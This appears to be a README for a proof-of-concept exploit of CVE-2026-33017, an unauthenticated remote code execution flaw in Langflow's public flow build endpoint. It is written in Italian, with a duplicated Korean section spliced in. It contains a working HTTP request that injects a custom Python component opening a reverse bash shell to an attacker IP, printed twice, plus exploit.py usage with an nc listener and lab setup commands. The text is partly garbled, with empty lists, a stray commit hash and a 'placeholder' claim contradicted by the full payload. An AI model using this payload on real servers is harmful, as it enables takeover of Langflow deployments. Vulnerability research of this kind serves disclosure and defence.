
Langflow RCE
★ CVE-2026-33017 PoC di Remote Code Execution in Langflow ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
Usa i seguenti comandi per costruire ed eseguire l'ambiente Langflow vulnerabile:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
Dopo aver avviato l'istanza Langflow vulnerabile, esegui il PoC con l'URL di destinazione, l'ID del flusso pubblico e l'indirizzo di callback dell'attaccante.
Opzione A — usa il tuo listener:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
Opzione B — usa il listener integrato con --listen:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
CVE-2026-33017 è una vulnerabilità di Remote Code Execution (RCE) nel processo di build dei flussi pubblici di Langflow, una piattaforma open-source per la creazione visiva di applicazioni LLM e workflow di intelligenza artificiale.
Inviando dati di flusso appositamente predisposti all'endpointbuild_public_tmpsenza autenticazione, un attaccante può causare l'esecuzione di codice Python arbitrario sul server.
CVE-2026-33017 riguarda il seguente endpoint di build dei flussi pubblici in Langflow, una piattaforma open-source per la creazione visiva di applicazioni LLM e workflow di intelligenza artificiale.
POST /api/v1/build_public_tmp/{flow_id}/flow
Un flusso pubblico in Langflow è progettato per essere condiviso con altri utenti tramite un link o un meccanismo simile.
Per supportare questa funzionalità, l'endpoint di build prepara il flusso per l'esecuzione senza richiedere autenticazione, leggendo i nodi, gli archi e le impostazioni del flusso, per poi costruire il grafo di esecuzione interno necessario a eseguirlo.
Il problema è che le versioni vulnerabili di build_public_tmp accettavano non solo le informazioni del flusso pubblico memorizzate sul server, ma anche il campo data fornito nel corpo della richiesta.
Questo campo data poteva contenere l'intera definizione del flusso, inclusi:
Di conseguenza, un attaccante poteva usare una richiesta non autenticata per iniettare una struttura di flusso completamente controllata dall'attaccante, invece di fare affidamento sul flusso pubblico legittimo memorizzato sul server.
Una parte particolarmente pericolosa di questo design è la funzionalità Custom Component (componente personalizzato).
In Langflow, un componente rappresenta un singolo blocco funzionale responsabile di attività come la gestione dell'input, l'invocazione del modello o la generazione dell'output. Un componente personalizzato è un blocco estensibile che consente agli utenti di definirne il comportamento direttamente in codice Python.
Un attaccante poteva quindi incorporare un componente personalizzato contenente codice Python malevolo all'interno dell'oggetto data appositamente predisposto, e il server lo avrebbe elaborato come se fosse una parte normale del flusso. Di conseguenza, il codice iniettato poteva essere analizzato ed eseguito durante il processo di build o di esecuzione, portando infine a remote code execution.
| Categoria | Versione |
|---|---|
| Vulnerabile | Langflow precedente alla 1.9.0 |
| Corretta | Langflow 1.9.0 e successive |
Il GitHub Security Advisory indica l'intervallo interessato come
<= 1.8.2, ma la correzione — la rimozione del parametrodata— è arrivata con la 1.9.0. Tutte le versioni precedenti alla 1.9.0 (incluse 1.8.3 / 1.8.4) sono quindi interessate, motivo per cui il record CVE riporta< 1.9.0.
Lo sfruttamento riuscito di questa vulnerabilità può consentire a un attaccante di prendere il controllo del server Langflow e di eseguire azioni successive come:
Il seguente PoC dimostra CVE-2026-33017 su Langflow 1.8.1.
L'attaccante identifica prima l'flow_id di un flusso pubblico di destinazione.

L'attaccante invia una richiesta build_public_tmp che inietta un componente personalizzato il cui code Python viene eseguito sul server durante la build temporanea. Nella richiesta seguente, il valore di code è lasciato come segnaposto — inserisci tu il payload (vedi la nota sotto la richiesta).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
Durante il processo di build, il codice incorporato nel componente personalizzato viene eseguito sul server. Quando si utilizza la variante con reverse shell (automatizzata da exploit.py), viene stabilita una connessione verso il listener dell'attaccante, che ottiene una shell interattiva per eseguire comandi arbitrari sul server.

Sebbene build_public_tmp fosse progettato per costruire flussi pubblici, le versioni vulnerabili accettavano comunque un campo data direttamente dal corpo della richiesta.
A causa di questo design, il data fornito dall'attaccante veniva passato direttamente alla logica di build lato server, e qualsiasi codice Python incorporato in un componente personalizzato veniva gestito come se facesse parte di un flusso legittimo.
Di conseguenza, un attaccante non doveva fare affidamento sul flusso pubblico originale memorizzato sul server. Poteva invece iniettare una definizione di flusso completamente malevola, incluso codice che poteva essere eseguito sul server.
Dopo la patch, build_public_tmp non accetta più data forniti esternamente.
In altre parole, è stato rimosso il percorso che in precedenza consentiva agli attaccanti di iniettare un'intera definizione di flusso tramite il corpo della richiesta, impedendo così anche l'esecuzione di codice arbitrario tramite componenti personalizzati malevoli.

73b6612e3ef25fdae0a752d75b0fabd47328d4f0CVE-2026-33017은 오픈소스 AI 워크플로우 플랫폼 Langflow의 Public 플로우 빌드 과정에서 발생하는 원격 코드 실행(Remote Code Execution, RCE) 취약점이다.
공격자는 인증 없이build_public_tmp엔드포인트에 조작된 플로우 데이터를 전달함으로써, 서버 측에서 임의 Python 코드 실행을 유도할 수 있다.
CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구성할 수 있는 오픈소스 플랫폼 Langflow의 Public 플로우 빌드 엔드포인트인 아래 API에서 발생한다.
POST /api/v1/build_public_tmp/{flow_id}/flow
Langflow의 Public 플로우는 다른 사용자가 링크 등을 통해 불러와 사용할 수 있도록 외부에 공개되는 플로우이다.
이 기능은 인증 없이도 해당 플로우를 실행 가능한 상태로 준비할 수 있도록 설계되어 있으며, 빌드 엔드포인트는 플로우를 구성하는 노드, 연결 관계, 설정값 등을 바탕으로 내부 실행 그래프를 생성하고 각 블록이 실제로 동작할 수 있도록 준비하는 역할을 수행한다.
문제는 취약한 버전의 build_public_tmp 엔드포인트가 요청 바디에 포함된 data 값도 함께 받아들였다는 점이다.
이 data에는 다음과 같은 플로우 전체 정의가 포함될 수 있다.
즉, 공격자는 인증 없는 요청으로 서버에 저장된 정상 플로우 대신 자신이 조작한 플로우 구조 전체를 주입할 수 있었다.
이 과정에서 특히 위험한 요소는 커스텀 컴포넌트(Custom Component) 이다.
Langflow에서 컴포넌트는 입력 처리, 모델 호출, 출력 생성 등 개별 기능을 담당하는 블록이며, 커스텀 컴포넌트는 사용자가 Python 코드로 직접 정의할 수 있는 확장형 블록이다.
공격자는 조작한 data 내부에 악성 Python 코드가 포함된 커스텀 컴포넌트를 삽입할 수 있었고, 서버는 이를 정상적인 플로우 구성 요소처럼 처리했다. 그 결과, 해당 코드가 빌드/실행 흐름에서 실제로 해석·실행되며 원격 코드 실행이 가능해졌다.
| 구분 | 버전 |
|---|---|
| 취약 버전 | Langflow 1.9.0 미만 |
| 패치 버전 | Langflow 1.9.0 이상 |
GitHub Security Advisory는 영향 범위를
<= 1.8.2로 표기하지만, 실제 패치(data파라미터 제거)는 1.9.0에 반영되었다. 따라서 1.8.3·1.8.4를 포함해 1.9.0 이전의 모든 버전이 취약하며, CVE Record도 이를< 1.9.0으로 명시한다.
이 취약점을 통해 공격자는 Langflow 서버를 제어한 뒤 추가 행위를 수행할 수 있다. 대표적인 영향은 다음과 같다.
아래 PoC는 Langflow 1.8.1 환경에서 CVE-2026-33017을 재현하는 예시이다.
공격자는 공격 대상이 되는 Public 플로우의 flow_id 를 먼저 파악한다.

공격자는 커스텀 컴포넌트의 Python code가 임시 빌드 과정에서 서버에서 실행되도록 조작한 build_public_tmp 요청을 전송한다. 아래 요청의 code 값은 자리표시자로 비워 두었으며, 페이로드는 직접 채워 넣어야 한다(요청 아래 안내 참고).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
빌드 과정에서 커스텀 컴포넌트에 포함된 코드가 서버에서 실행된다. exploit.py가 자동화하는 리버스 셸 방식을 사용하면 공격자 측 리스너로 연결이 수립되어, 공격자는 서버 상에서 임의 명령을 실행할 수 있는 대화형 셸을 획득한다.

취약 버전의 build_public_tmp 엔드포인트는 Public 플로우를 위한 빌드 API 임에도 불구하고, 요청 본문에서 data 값을 직접 받을 수 있었다.
이 설계 때문에 공격자가 전달한 data는 서버 측 빌드 로직에 그대로 반영되었고, 그 내부에 포함된 커스텀 컴포넌트의 Python 코드 역시 정상 플로우 구성 요소처럼 처리되었다.
결과적으로 공격자는 서버에 저장된 원래의 Public 플로우를 따르지 않고, 자신이 만든 악성 플로우 정의를 그대로 주입할 수 있었으며, 이 안에 포함된 악성 코드가 서버에서 실행될 수 있었다.
패치 이후에는 build_public_tmp에서 더 이상 외부 요청으로부터 data를 받지 않도록 수정되었다.
즉, 공격자가 요청 바디를 통해 플로우 정의 자체를 주입하는 경로가 차단되었고, 이로 인해 커스텀 컴포넌트를 통한 임의 코드 실행 또한 불가능해졌다.

73b6612e3ef25fdae0a752d75b0fabd47328d4f0| Opzione | Descrizione |
|---|
--url | URL del server Langflow di destinazione |
--flow-id | UUID del flusso pubblico condiviso |
--lhost | IP di callback dell'attaccante |
--lport | Porta di callback dell'attaccante |
--listen | Esegue il listener integrato invece di un nc esterno |